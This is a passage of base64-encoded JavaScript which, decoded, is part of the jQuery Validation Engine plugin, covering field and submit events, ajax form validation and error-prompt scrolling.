QkqIHZhbGlkYXRpb24NCgkJKi8NCgkJX29uRmllbGRFdmVudDogZnVuY3Rpb24oZXZlbnQpIHsNCgkJCXZhciBmaWVsZCA9ICQodGhpcyk7DQoJCQl2YXIgZm9ybSA9IGZpZWxkLmNsb3Nlc3QoJ2Zvcm0sIC52YWxpZGF0aW9uRW5naW5lQ29udGFpbmVyJyk7DQoJCQl2YXIgb3B0aW9ucyA9IGZvcm0uZGF0YSgnanF2Jyk7DQoJCQlvcHRpb25zLmV2ZW50VHJpZ2dlciA9ICJmaWVsZCI7DQoJCQkvLyB2YWxpZGF0ZSB0aGUgY3VycmVudCBmaWVsZA0KCQkJd2luZG93LnNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQoJCQkJbWV0aG9kcy5fdmFsaWRhdGVGaWVsZChmaWVsZCwgb3B0aW9ucyk7DQoJCQkJaWYgKG9wdGlvbnMuSW52YWxpZEZpZWxkcy5sZW5ndGggPT0gMCAmJiBvcHRpb25zLm9uRmllbGRTdWNjZXNzKSB7DQoJCQkJCW9wdGlvbnMub25GaWVsZFN1Y2Nlc3MoKTsNCgkJCQl9IGVsc2UgaWYgKG9wdGlvbnMuSW52YWxpZEZpZWxkcy5sZW5ndGggPiAwICYmIG9wdGlvbnMub25GaWVsZEZhaWx1cmUpIHsNCgkJCQkJb3B0aW9ucy5vbkZpZWxkRmFpbHVyZSgpOw0KCQkJCX0NCgkJCX0sIChldmVudC5kYXRhKSA/IGV2ZW50LmRhdGEuZGVsYXkgOiAwKTsNCg0KCQl9LA0KCQkvKioNCgkJKiBDYWxsZWQgd2hlbiB0aGUgZm9ybSBpcyBzdWJtaXRlZCwgc2hvd3MgcHJvbXB0cyBhY2NvcmRpbmdseQ0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0NCgkJKiAgICAgICAgICAgIGZvcm0NCgkJKiBAcmV0dXJuIGZhbHNlIGlmIGZvcm0gc3VibWlzc2lvbiBuZWVkcyB0byBiZSBjYW5jZWxsZWQNCgkJKi8NCgkJX29uU3VibWl0RXZlbnQ6IGZ1bmN0aW9uKCkgew0KCQkJdmFyIGZvcm0gPSAkKHRoaXMpOw0KCQkJdmFyIG9wdGlvbnMgPSBmb3JtLmRhdGEoJ2pxdicpOw0KCQkJDQoJCQkvL2NoZWNrIGlmIGl0IGlzIHRyaWdnZXIgZnJvbSBza2lwcGVkIGJ1dHRvbg0KCQkJaWYgKGZvcm0uZGF0YSgianF2X3N1Ym1pdEJ1dHRvbiIpKXsNCgkJCQl2YXIgc3VibWl0QnV0dG9uID0gJCgiIyIgKyBmb3JtLmRhdGEoImpxdl9zdWJtaXRCdXR0b24iKSk7DQoJCQkJaWYgKHN1Ym1pdEJ1dHRvbil7DQoJCQkJCWlmIChzdWJtaXRCdXR0b24ubGVuZ3RoID4gMCl7DQoJCQkJCQlpZiAoc3VibWl0QnV0dG9uLmhhc0NsYXNzKCJ2YWxpZGF0ZS1za2lwIikgfHwgc3VibWl0QnV0dG9uLmF0dHIoImRhdGEtdmFsaWRhdGlvbi1lbmdpbmUtc2tpcCIpID09ICJ0cnVlIikNCgkJCQkJCQlyZXR1cm4gdHJ1ZTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCg0KCQkJb3B0aW9ucy5ldmVudFRyaWdnZXIgPSAic3VibWl0IjsNCg0KCQkJLy8gdmFsaWRhdGUgZWFjaCBmaWVsZCANCgkJCS8vICgtIHNraXAgZmllbGQgYWpheCB2YWxpZGF0aW9uLCBub3QgbmVjZXNzYXJ5IElGIHdlIHdpbGwgcGVyZm9ybSBhbiBhamF4IGZvcm0gdmFsaWRhdGlvbikNCgkJCXZhciByPW1ldGhvZHMuX3ZhbGlkYXRlRmllbGRzKGZvcm0pOw0KDQoJCQlpZiAociAmJiBvcHRpb25zLmFqYXhGb3JtVmFsaWRhdGlvbikgew0KCQkJCW1ldGhvZHMuX3ZhbGlkYXRlRm9ybVdpdGhBamF4KGZvcm0sIG9wdGlvbnMpOw0KCQkJCS8vIGNhbmNlbCBmb3JtIGF1dG8tc3VibWlzc2lvbiAtIHByb2Nlc3Mgd2l0aCBhc3luYyBjYWxsIG9uQWpheEZvcm1Db21wbGV0ZQ0KCQkJCXJldHVybiBmYWxzZTsNCgkJCX0NCg0KCQkJaWYob3B0aW9ucy5vblZhbGlkYXRpb25Db21wbGV0ZSkgew0KCQkJCS8vICEhIGVuc3VyZXMgdGhhdCBhbiB1bmRlZmluZWQgcmV0dXJuIGlzIGludGVycHJldGVkIGFzIHJldHVybiBmYWxzZSBidXQgYWxsb3dzIGEgb25WYWxpZGF0aW9uQ29tcGxldGUoKSB0byBwb3NzaWJseSByZXR1cm4gdHJ1ZSBhbmQgaGF2ZSBmb3JtIGNvbnRpbnVlIHByb2Nlc3NpbmcNCgkJCQlyZXR1cm4gISFvcHRpb25zLm9uVmFsaWRhdGlvbkNvbXBsZXRlKGZvcm0sIHIpOw0KCQkJfQ0KCQkJcmV0dXJuIHI7DQoJCX0sDQoJCS8qKg0KCQkqIFJldHVybiB0cnVlIGlmIHRoZSBhamF4IGZpZWxkIHZhbGlkYXRpb25zIHBhc3NlZCBzbyBmYXINCgkJKiBAcGFyYW0ge09iamVjdH0gb3B0aW9ucw0KCQkqIEByZXR1cm4gdHJ1ZSwgaXMgYWxsIGFqYXggdmFsaWRhdGlvbiBwYXNzZWQgc28gZmFyIChyZW1lbWJlciBhamF4IGlzIGFzeW5jKQ0KCQkqLw0KCQlfY2hlY2tBamF4U3RhdHVzOiBmdW5jdGlvbihvcHRpb25zKSB7DQoJCQl2YXIgc3RhdHVzID0gdHJ1ZTsNCgkJCSQuZWFjaChvcHRpb25zLmFqYXhWYWxpZENhY2hlLCBmdW5jdGlvbihrZXksIHZhbHVlKSB7DQoJCQkJaWYgKCF2YWx1ZSkgew0KCQkJCQlzdGF0dXMgPSBmYWxzZTsNCgkJCQkJLy8gYnJlYWsgdGhlIGVhY2gNCgkJCQkJcmV0dXJuIGZhbHNlOw0KCQkJCX0NCgkJCX0pOw0KCQkJcmV0dXJuIHN0YXR1czsNCgkJfSwNCgkJDQoJCS8qKg0KCQkqIFJldHVybiB0cnVlIGlmIHRoZSBhamF4IGZpZWxkIGlzIHZhbGlkYXRlZA0KCQkqIEBwYXJhbSB7U3RyaW5nfSBmaWVsZGlkDQoJCSogQHBhcmFtIHtPYmplY3R9IG9wdGlvbnMNCgkJKiBAcmV0dXJuIHRydWUsIGlmIHZhbGlkYXRpb24gcGFzc2VkLCBmYWxzZSBpZiBmYWxzZSBvciBkb2Vzbid0IGV4aXN0DQoJCSovDQoJCV9jaGVja0FqYXhGaWVsZFN0YXR1czogZnVuY3Rpb24oZmllbGRpZCwgb3B0aW9ucykgew0KCQkJcmV0dXJuIG9wdGlvbnMuYWpheFZhbGlkQ2FjaGVbZmllbGRpZF0gPT0gdHJ1ZTsNCgkJfSwNCgkJLyoqDQoJCSogVmFsaWRhdGVzIGZvcm0gZmllbGRzLCBzaG93cyBwcm9tcHRzIGFjY29yZGluZ2x5DQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fQ0KCQkqICAgICAgICAgICAgZm9ybQ0KCQkqIEBwYXJhbSB7c2tpcEFqYXhGaWVsZFZhbGlkYXRpb259DQoJCSogICAgICAgICAgICBib29sZWFuIC0gd2hlbiBzZXQgdG8gdHJ1ZSwgYWpheCBmaWVsZCB2YWxpZGF0aW9uIGlzIHNraXBwZWQsIHR5cGljYWxseSB1c2VkIHdoZW4gdGhlIHN1Ym1pdCBidXR0b24gaXMgY2xpY2tlZA0KCQkqDQoJCSogQHJldHVybiB0cnVlIGlmIGZvcm0gaXMgdmFsaWQsIGZhbHNlIGlmIG5vdCwgdW5kZWZpbmVkIGlmIGFqYXggZm9ybSB2YWxpZGF0aW9uIGlzIGRvbmUNCgkJKi8NCgkJX3ZhbGlkYXRlRmllbGRzOiBmdW5jdGlvbihmb3JtKSB7DQoJCQl2YXIgb3B0aW9ucyA9IGZvcm0uZGF0YSgnanF2Jyk7DQoNCgkJCS8vIHRoaXMgdmFyaWFibGUgaXMgc2V0IHRvIHRydWUgaWYgYW4gZXJyb3IgaXMgZm91bmQNCgkJCXZhciBlcnJvckZvdW5kID0gZmFsc2U7DQoNCgkJCS8vIFRyaWdnZXIgaG9vaywgc3RhcnQgdmFsaWRhdGlvbg0KCQkJZm9ybS50cmlnZ2VyKCJqcXYuZm9ybS52YWxpZGF0aW5nIik7DQoJCQkvLyBmaXJzdCwgZXZhbHVhdGUgc3RhdHVzIG9mIG5vbiBhamF4IGZpZWxkcw0KCQkJdmFyIGZpcnN0X2Vycj1udWxsOw0KCQkJZm9ybS5maW5kKCdbJytvcHRpb25zLnZhbGlkYXRlQXR0cmlidXRlKycqPXZhbGlkYXRlXScpLm5vdCgiOmRpc2FibGVkIikuZWFjaCggZnVuY3Rpb24oKSB7DQoJCQkJdmFyIGZpZWxkID0gJCh0aGlzKTsNCgkJCQl2YXIgbmFtZXMgPSBbXTsNCgkJCQlpZiAoJC5pbkFycmF5KGZpZWxkLmF0dHIoJ25hbWUnKSwgbmFtZXMpIDwgMCkgew0KCQkJCQllcnJvckZvdW5kIHw9IG1ldGhvZHMuX3ZhbGlkYXRlRmllbGQoZmllbGQsIG9wdGlvbnMpOw0KCQkJCQlpZiAoZXJyb3JGb3VuZCAmJiBmaXJzdF9lcnI9PW51bGwpDQoJCQkJCQlpZiAoZmllbGQuaXMoIjpoaWRkZW4iKSAmJiBvcHRpb25zLnByZXR0eVNlbGVjdCkNCgkJCQkJCQlmaXJzdF9lcnIgPSBmaWVsZCA9IGZvcm0uZmluZCgiIyIgKyBvcHRpb25zLnVzZVByZWZpeCArIG1ldGhvZHMuX2pxU2VsZWN0b3IoZmllbGQuYXR0cignaWQnKSkgKyBvcHRpb25zLnVzZVN1ZmZpeCk7DQoJCQkJCQllbHNlIHsNCg0KCQkJCQkJCS8vQ2hlY2sgaWYgd2UgbmVlZCB0byBhZGp1c3Qgd2hhdCBlbGVtZW50IHRvIHNob3cgdGhlIHByb21wdCBvbg0KCQkJCQkJCS8vYW5kIGFuZCBzdWNoIHNjcm9sbCB0byBpbnN0ZWFkDQoJCQkJCQkJaWYoZmllbGQuZGF0YSgnanF2LXByb21wdC1hdCcpIGluc3RhbmNlb2YgalF1ZXJ5ICl7DQoJCQkJCQkJCWZpZWxkID0gZmllbGQuZGF0YSgnanF2LXByb21wdC1hdCcpOw0KCQkJCQkJCX0gZWxzZSBpZihmaWVsZC5kYXRhKCdqcXYtcHJvbXB0LWF0JykpIHsNCgkJCQkJCQkJZmllbGQgPSAkKGZpZWxkLmRhdGEoJ2pxdi1wcm9tcHQtYXQnKSk7DQoJCQkJCQkJfQ0KCQkJCQkJCWZpcnN0X2Vycj1maWVsZDsNCgkJCQkJCX0NCgkJCQkJaWYgKG9wdGlvbnMuZG9Ob3RTaG93QWxsRXJyb3NPblN1Ym1pdCkNCgkJCQkJCXJldHVybiBmYWxzZTsNCgkJCQkJbmFtZXMucHVzaChmaWVsZC5hdHRyKCduYW1lJykpOw0KDQoJCQkJCS8vaWYgb3B0aW9uIHNldCwgc3RvcCBjaGVja2luZyB2YWxpZGF0aW9uIHJ1bGVzIGFmdGVyIG9uZSBlcnJvciBpcyBmb3VuZA0KCQkJCQlpZihvcHRpb25zLnNob3dPbmVNZXNzYWdlID09IHRydWUgJiYgZXJyb3JGb3VuZCl7DQoJCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJCX0NCgkJCQl9DQoJCQl9KTsNCg0KCQkJLy8gc2Vjb25kLCBjaGVjayB0byBzZWUgaWYgYWxsIGFqYXggY2FsbHMgY29tcGxldGVkIG9rDQoJCQkvLyBlcnJvckZvdW5kIHw9ICFtZXRob2RzLl9jaGVja0FqYXhTdGF0dXMob3B0aW9ucyk7DQoNCgkJCS8vIHRoaXJkLCBjaGVjayBzdGF0dXMgYW5kIHNjcm9sbCB0aGUgY29udGFpbmVyIGFjY29yZGluZ2x5DQoJCQlmb3JtLnRyaWdnZXIoImpxdi5mb3JtLnJlc3VsdCIsIFtlcnJvckZvdW5kXSk7DQoNCgkJCWlmIChlcnJvckZvdW5kKSB7DQoJCQkJaWYgKG9wdGlvbnMuc2Nyb2xsKSB7DQoJCQkJCXZhciBkZXN0aW5hdGlvbj1maXJzdF9lcnIub2Zmc2V0KCkudG9wOw0KCQkJCQl2YXIgZml4bGVmdCA9IGZpcnN0X2Vyci5vZmZzZXQoKS5sZWZ0Ow0KDQoJCQkJCS8vcHJvbXB0IHBvc2l0aW9uaW5nIGFkanVzdG1lbnQgc3VwcG9ydC4gVXNhZ2U6IHBvc2l0aW9uVHlwZTpYc2hpZnQsWXNoaWZ0IChmb3IgZXguOiBib3R0b21MZWZ0OisyMCBvciBib3R0b21MZWZ0Oi0yMCwrMTApDQoJCQkJCXZhciBwb3NpdGlvblR5cGU9b3B0aW9ucy5wcm9tcHRQb3NpdGlvbjsNCgkJCQkJaWYgKHR5cGVvZihwb3NpdGlvblR5cGUpPT0nc3RyaW5nJyAmJiBwb3NpdGlvblR5cGUuaW5kZXhPZigiOiIpIT0tMSkNCgkJCQkJCXBvc2l0aW9uVHlwZT1wb3NpdGlvblR5cGUuc3Vic3RyaW5nKDAscG9zaXRpb25UeXBlLmluZGV4T2YoIjoiKSk7DQoNCgkJCQkJaWYgKHBvc2l0aW9uVHlwZSE9ImJvdHRvbVJpZ2h0IiAmJiBwb3NpdGlvblR5cGUhPSJib3R0b21MZWZ0Iikgew0KCQkJCQkJdmFyIHByb21wdF9lcnI9IG1ldGhvZHMuX2dldFByb21wdChmaXJzdF9lcnIpOw0KCQkJCQkJaWYgKHByb21wdF9lcnIpIHsNCgkJCQkJCQlkZXN0aW5hdGlvbj1wcm9tcHRfZXJyLm9mZnNldCgpLnRvcDsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQkNCgkJCQkJLy8gT2Zmc2V0IHRoZSBhbW91bnQgdGhlIHBhZ2Ugc2Nyb2xscyBieSBhbiBhbW91bnQgaW4gcHggdG8gYWNjb21vZGF0ZSBmaXhlZCBlbGVtZW50cyBhdCB0b3Agb2YgcGFnZQ0KCQkJCQlpZiAob3B0aW9ucy5zY3JvbGxPZmZzZXQpIHsNCgkJCQkJCWRlc3RpbmF0aW9uIC09IG9wdGlvbnMuc2Nyb2xsT2Zmc2V0Ow0KCQkJCQl9DQoNCgkJCQkJLy8gZ2V0IHRoZSBwb3NpdGlvbiBvZiB0aGUgZmlyc3QgZXJyb3IsIHRoZXJlIHNob3VsZCBiZSBhdCBsZWFzdCBvbmUsIG5vIG5lZWQgdG8gY2hlY2sgdGhpcw0KCQkJCQkvL3ZhciBkZXN0aW5hdGlvbiA9IGZvcm0uZmluZCgiLmZvcm1FcnJvcjpub3QoJy5ncmVlblBvcHVwJyk6Zmlyc3QiKS5vZmZzZXQoKS50b3A7DQoJCQkJCWlmIChvcHRpb25zLmlzT3ZlcmZsb3duKSB7DQoJCQkJCQl2YXIgb3ZlcmZsb3dESVYgPSAkKG9wdGlvbnMub3ZlcmZsb3duRElWKTsNCgkJCQkJCWlmKCFvdmVyZmxvd0RJVi5sZW5ndGgpIHJldHVybiBmYWxzZTsNCgkJCQkJCXZhciBzY3JvbGxDb250YWluZXJTY3JvbGwgPSBvdmVyZmxvd0RJVi5zY3JvbGxUb3AoKTsNCgkJCQkJCXZhciBzY3JvbGxDb250YWluZXJQb3MgPSAtcGFyc2VJbnQob3ZlcmZsb3dESVYub2Zmc2V0KCkudG9wKTsNCg0KCQkJCQkJZGVzdGluYXRpb24gKz0gc2Nyb2xsQ29udGFpbmVyU2Nyb2xsICsgc2Nyb2xsQ29udGFpbmVyUG9zIC0gNTsNCgkJCQkJCXZhciBzY3JvbGxDb250YWluZXIgPSAkKG9wdGlvbnMub3ZlcmZsb3duRElWICsgIjpub3QoOmFuaW1hdGVkKSIpOw0KDQoJCQkJCQlzY3JvbGxDb250YWluZXIuYW5pbWF0ZSh7IHNjcm9sbFRvcDogZGVzdGluYXRpb24gfSwgMTEwMCwgZnVuY3Rpb24oKXsNCgkJCQkJCQlpZihvcHRpb25zLmZvY3VzRmlyc3RGaWVsZCkgZmlyc3RfZXJyLmZvY3VzKCk7DQoJCQkJCQl9KTsNCg0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJCgiaHRtbCwgYm9keSIpLmFuaW1hdGUoew0KCQkJCQkJCXNjcm9sbFRvcDogZGVzdGluYXRpb24NCgkJCQkJCX0sIDExMDAsIGZ1bmN0aW9uKCl7DQoJCQkJCQkJaWYob3B0aW9ucy5mb2N1c0ZpcnN0RmllbGQpIGZpcnN0X2Vyci5mb2N1cygpOw0KCQkJCQkJfSk7DQoJCQkJCQkkKCJodG1sLCBib2R5IikuYW5pbWF0ZSh7c2Nyb2xsTGVmdDogZml4bGVmdH0sMTEwMCkNCgkJCQkJfQ0KDQoJCQkJfSBlbHNlIGlmKG9wdGlvbnMuZm9jdXNGaXJzdEZpZWxkKQ0KCQkJCQlmaXJzdF9lcnIuZm9jdXMoKTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfSwNCgkJLyoqDQoJCSogVGhpcyBtZXRob2QgaXMgY2FsbGVkIHRvIHBlcmZvcm0gYW4gYWpheCBmb3JtIHZhbGlkYXRpb24uDQoJCSogRHVyaW5nIHRoaXMgcHJvY2VzcyBhbGwgdGhlIChmaWVsZCwgdmFsdWUpIHBhaXJzIGFyZSBzZW50IHRvIHRoZSBzZXJ2ZXIgd2hpY2ggcmV0dXJucyBhIGxpc3Qgb2YgaW52YWxpZCBmaWVsZHMgb3IgdHJ1ZQ0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZm9ybQ0KCQkqIEBwYXJhbSB7TWFwfSBvcHRpb25zDQoJCSovDQoJCV92YWxpZGF0ZUZvcm1XaXRoQWpheDogZnVuY3Rpb24oZm9ybSwgb3B0aW9ucykgew0KDQoJCQl2YXIgZGF0YSA9IGZvcm0uc2VyaWFsaXplKCk7DQoJCQkJCQkJCQl2YXIgdHlwZSA9IChvcHRpb25zLmFqYXhGb3JtVmFsaWRhdGlvbk1ldGhvZCkgPyBvcHRpb25zLmFqYXhGb3JtVmFsaWRhdGlvbk1ldGhvZCA6ICJHRVQiOw0KCQkJdmFyIHVybCA9IChvcHRpb25zLmFqYXhGb3JtVmFsaWRhdGlvblVSTCkgPyBvcHRpb25zLmFqYXhGb3JtVmFsaWRhdGlvblVSTCA6IGZvcm0uYXR0cigiYWN0aW9uIik7DQoJCQkJCQkJCQl2YXIgZGF0YVR5cGUgPSAob3B0aW9ucy5kYXRhVHlwZSkgPyBvcHRpb25zLmRhdGFUeXBlIDogImpzb24iOw0KCQkJJC5hamF4KHsNCgkJCQl0eXBlOiB0eXBlLA0KCQkJCXVybDogdXJsLA0KCQkJCWNhY2hlOiBmYWxzZSwNCgkJCQlkYXRhVHlwZTogZGF0YVR5cGUsDQoJCQkJZGF0YTogZGF0YSwNCgkJCQlmb3JtOiBmb3JtLA0KCQkJCW1ldGhvZHM6IG1ldGhvZHMsDQoJCQkJb3B0aW9uczogb3B0aW9ucywNCgkJCQliZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsNCgkJCQkJcmV0dXJuIG9wdGlvbnMub25CZWZvcmVBamF4Rm9ybVZhbGlkYXRpb24oZm9ybSwgb3B0aW9ucyk7DQoJCQkJfSwNCgkJCQllcnJvcjogZnVuY3Rpb24oZGF0YSwgdHJhbnNwb3J0KSB7DQoJCQkJCW1ldGhvZHMuX2FqYXhFcnJvcihkYXRhLCB0cmFuc3BvcnQpOw0KCQkJCX0sDQoJCQkJc3VjY2VzczogZnVuY3Rpb24oanNvbikgew0KCQkJCQlpZiAoKGRhdGFUeXBlID09ICJqc29uIikgJiYgKGpzb24gIT09IHRydWUpKSB7DQoJCQkJCQkvLyBnZXR0aW5nIHRvIHRoaXMgY2FzZSBkb2Vzbid0IG5lY2Vzc2FyeSBtZWFucyB0aGF0IHRoZSBmb3JtIGlzIGludmFsaWQNCgkJCQkJCS8vIHRoZSBzZXJ2ZXIgbWF5IHJldHVybiBncmVlbiBvciBjbG9zaW5nIHByb21wdCBhY3Rpb25zDQoJCQkJCQkvLyB0aGlzIGZsYWcgaGVscHMgZmlndXJpbmcgaXQgb3V0DQoJCQkJCQl2YXIgZXJyb3JJbkZvcm09ZmFsc2U7DQoJCQkJCQlmb3IgKHZhciBpID0gMDsgaSA8IGpzb24ubGVuZ3RoOyBpKyspIHsNCgkJCQkJCQl2YXIgdmFsdWUgPSBqc29uW2ldOw0KDQoJCQkJCQkJdmFyIGVycm9yRmllbGRJZCA9IHZhbHVlWzBdOw0KCQkJCQkJCXZhciBlcnJvckZpZWxkID0gJCgkKCIjIiArIGVycm9yRmllbGRJZClbMF0pOw0KDQoJCQkJCQkJLy8gbWFrZSBzdXJlIHdlIGZvdW5kIHRoZSBlbGVtZW50DQoJCQkJCQkJaWYgKGVycm9yRmllbGQubGVuZ3RoID09IDEpIHsNCg0KCQkJCQkJCQkvLyBwcm9tcHRUZXh0IG9yIHNlbGVjdG9yDQoJCQkJCQkJCXZhciBtc2cgPSB2YWx1ZVsyXTsNCgkJCQkJCQkJLy8gaWYgdGhlIGZpZWxkIGlzIHZhbGlkDQoJCQkJCQkJCWlmICh2YWx1ZVsxXSA9PSB0cnVlKSB7DQoNCgkJCQkJCQkJCWlmIChtc2cgPT0gIiIgIHx8ICFtc2cpew0KCQkJCQkJCQkJCS8vIGlmIGZvciBzb21lIHJlYXNvbiwgc3RhdHVzPT10cnVlIGFuZCBlcnJvcj0iIiwganVzdCBjbG9zZSB0aGUgcHJvbXB0DQoJCQkJCQkJCQkJbWV0aG9kcy5fY2xvc2VQcm9tcHQoZXJyb3JGaWVsZCk7DQoJCQkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkJCS8vIHRoZSBmaWVsZCBpcyB2YWxpZCwgYnV0IHdlIGFyZSBkaXNwbGF5aW5nIGEgZ3JlZW4gcHJvbXB0DQoJCQkJCQkJCQkJaWYgKG9wdGlvbnMuYWxscnVsZXNbbXNnXSkgew0KCQkJCQkJCQkJCQl2YXIgdHh0ID0gb3B0aW9ucy5hbGxydWxlc1ttc2ddLmFsZXJ0VGV4dE9rOw0KCQkJCQkJCQkJCQlpZiAodHh0KQ0KCQkJCQkJCQkJCQkJbXNnID0gdHh0Ow0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQlpZiAob3B0aW9ucy5zaG93UHJvbXB0cykgbWV0aG9kcy5fc2hvd1Byb21wdChlcnJvckZpZWxkLCBtc2csICJwYXNzIiwgZmFsc2UsIG9wdGlvbnMsIHRydWUpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkJLy8gdGhlIGZpZWxkIGlzIGludmFsaWQsIHNob3cgdGhlIHJlZCBlcnJvciBwcm9tcHQNCgkJCQkJCQkJCWVycm9ySW5Gb3JtfD10cnVlOw0KCQkJCQkJCQkJaWYgKG9wdGlvbnMuYWxscnVsZXNbbXNnXSkgew0KCQkJCQkJCQkJCXZhciB0eHQgPSBvcHRpb25zLmFsbHJ1bGVzW21zZ10uYWxlcnRUZXh0Ow0KCQkJCQkJCQkJCWlmICh0eHQpDQoJCQkJCQkJCQkJCW1zZyA9IHR4dDsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmKG9wdGlvbnMuc2hvd1Byb21wdHMpIG1ldGhvZHMuX3Nob3dQcm9tcHQoZXJyb3JGaWVsZCwgbXNnLCAiIiwgZmFsc2UsIG9wdGlvbnMsIHRydWUpOw0KCQkJCQkJCQl9DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJb3B0aW9ucy5vbkFqYXhGb3JtQ29tcGxldGUoIWVycm9ySW5Gb3JtLCBmb3JtLCBqc29uLCBvcHRpb25zKTsNCgkJCQkJfSBlbHNlDQoJCQkJCQlvcHRpb25zLm9uQWpheEZvcm1Db21wbGV0ZSh0cnVlLCBmb3JtLCBqc29uLCBvcHRpb25zKTsNCg0KCQkJCX0NCgkJCX0pOw0KDQoJCX0sDQoJCS8qKg0KCQkqIFZhbGlkYXRlcyBmaWVsZCwgc2hvd3MgcHJvbXB0cyBhY2NvcmRpbmdseQ0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0NCgkJKiAgICAgICAgICAgIGZpZWxkDQoJCSogQHBhcmFtIHtBcnJheVtTdHJpbmddfQ0KCQkqICAgICAgICAgICAgZmllbGQncyB2YWxpZGF0aW9uIHJ1bGVzDQoJCSogQHBhcmFtIHtNYXB9DQoJCSogICAgICAgICAgICB1c2VyIG9wdGlvbnMNCgkJKiBAcmV0dXJuIGZhbHNlIGlmIGZpZWxkIGlzIHZhbGlkIChJdCBpcyBpbnZlcnNlZCBmb3IgKmZpZWxkcyosIGl0IHJldHVybiBmYWxzZSBvbiB2YWxpZGF0ZSBhbmQgdHJ1ZSBvbiBlcnJvcnMuKQ0KCQkqLw0KCQlfdmFsaWRhdGVGaWVsZDogZnVuY3Rpb24oZmllbGQsIG9wdGlvbnMsIHNraXBBamF4VmFsaWRhdGlvbikgew0KCQkJaWYgKCFmaWVsZC5hdHRyKCJpZCIpKSB7DQoJCQkJZmllbGQuYXR0cigiaWQiLCAiZm9ybS12YWxpZGF0aW9uLWZpZWxkLSIgKyAkLnZhbGlkYXRpb25FbmdpbmUuZmllbGRJZENvdW50ZXIpOw0KCQkJCSsrJC52YWxpZGF0aW9uRW5naW5lLmZpZWxkSWRDb3VudGVyOw0KCQkJfQ0KDQogICAgICAgICAgIGlmICghb3B0aW9ucy52YWxpZGF0ZU5vblZpc2libGVGaWVsZHMgJiYgKGZpZWxkLmlzKCI6aGlkZGVuIikgJiYgIW9wdGlvbnMucHJldHR5U2VsZWN0IHx8IGZpZWxkLnBhcmVudCgpLmlzKCI6aGlkZGVuIikpKQ0KCQkJCXJldHVybiBmYWxzZTsNCg0KCQkJdmFyIHJ1bGVzUGFyc2luZyA9IGZpZWxkLmF0dHIob3B0aW9ucy52YWxpZGF0ZUF0dHJpYnV0ZSk7DQoJCQl2YXIgZ2V0UnVsZXMgPSAvdmFsaWRhdGVcWyguKilcXS8uZXhlYyhydWxlc1BhcnNpbmcpOw0KDQoJCQlpZiAoIWdldFJ1bGVzKQ0KCQkJCXJldHVybiBmYWxzZTsNCgkJCXZhciBzdHIgPSBnZXRSdWxlc1sxXTsNCgkJCXZhciBydWxlcyA9IHN0ci5zcGxpdCgvXFt8LHxcXS8pOw0KDQoJCQkvLyB0cnVlIGlmIHdlIHJhbiB0aGUgYWpheCB2YWxpZGF0aW9uLCB0ZWxscyB0aGUgbG9naWMgdG8gc3RvcCBtZXNzaW5nIHdpdGggcHJvbXB0cw0KCQkJdmFyIGlzQWpheFZhbGlkYXRvciA9IGZhbHNlOw0KCQkJdmFyIGZpZWxkTmFtZSA9IGZpZWxkLmF0dHIoIm5hbWUiKTsNCgkJCXZhciBwcm9tcHRUZXh0ID0gIiI7DQoJCQl2YXIgcHJvbXB0VHlwZSA9ICIiOw0KCQkJdmFyIHJlcXVpcmVkID0gZmFsc2U7DQoJCQl2YXIgbGltaXRFcnJvcnMgPSBmYWxzZTsNCgkJCW9wdGlvbnMuaXNFcnJvciA9IGZhbHNlOw0KCQkJb3B0aW9ucy5zaG93QXJyb3cgPSB0cnVlOw0KCQkJDQoJCQkvLyBJZiB0aGUgcHJvZ3JhbW1lciB3YW50cyB0byBsaW1pdCB0aGUgYW1vdW50IG9mIGVycm9yIG1lc3NhZ2VzIHBlciBmaWVsZCwNCgkJCWlmIChvcHRpb25zLm1heEVycm9yc1BlckZpZWxkID4gMCkgew0KCQkJCWxpbWl0RXJyb3JzID0gdHJ1ZTsNCgkJCX0NCg0KCQkJdmFyIGZvcm0gPSAkKGZpZWxkLmNsb3Nlc3QoImZvcm0sIC52YWxpZGF0aW9uRW5naW5lQ29udGFpbmVyIikpOw0KCQkJLy8gRml4IGZvciBhZGRpbmcgc3BhY2VzIGluIHRoZSBydWxlcw0KCQkJZm9yICh2YXIgaSA9IDA7IGkgPCBydWxlcy5sZW5ndGg7IGkrKykgew0KCQkJCXJ1bGVzW2ldID0gcnVsZXNbaV0ucmVwbGFjZSgiICIsICIiKTsNCgkJCQkvLyBSZW1vdmUgYW55IHBhcnNpbmcgZXJyb3JzDQoJCQkJaWYgKHJ1bGVzW2ldID09PSAnJykgew0KCQkJCQlkZWxldGUgcnVsZXNbaV07DQoJCQkJfQ0KCQkJfQ0KDQoJCQlmb3IgKHZhciBpID0gMCwgZmllbGRfZXJyb3JzID0gMDsgaSA8IHJ1bGVzLmxlbmd0aDsgaSsrKSB7DQoJCQkJDQoJCQkJLy8gSWYgd2UgYXJlIGxpbWl0aW5nIGVycm9ycywgYW5kIGhhdmUgaGl0IHRoZSBtYXgsIGJyZWFrDQoJCQkJaWYgKGxpbWl0RXJyb3JzICYmIGZpZWxkX2Vycm9ycyA+PSBvcHRpb25zLm1heEVycm9yc1BlckZpZWxkKSB7DQoJCQkJCS8vIElmIHdlIGhhdmVuJ3QgaGl0IGEgcmVxdWlyZWQgeWV0LCBjaGVjayB0byBzZWUgaWYgdGhlcmUgaXMgb25lIGluIHRoZSB2YWxpZGF0aW9uIHJ1bGVzIGZvciB0aGlzDQoJCQkJCS8vIGZpZWxkIGFuZCB0aGF0IGl0J3MgaW5kZXggaXMgZ3JlYXRlciBvciBlcXVhbCB0byBvdXIgY3VycmVudCBpbmRleA0KCQkJCQlpZiAoIXJlcXVpcmVkKSB7DQoJCQkJC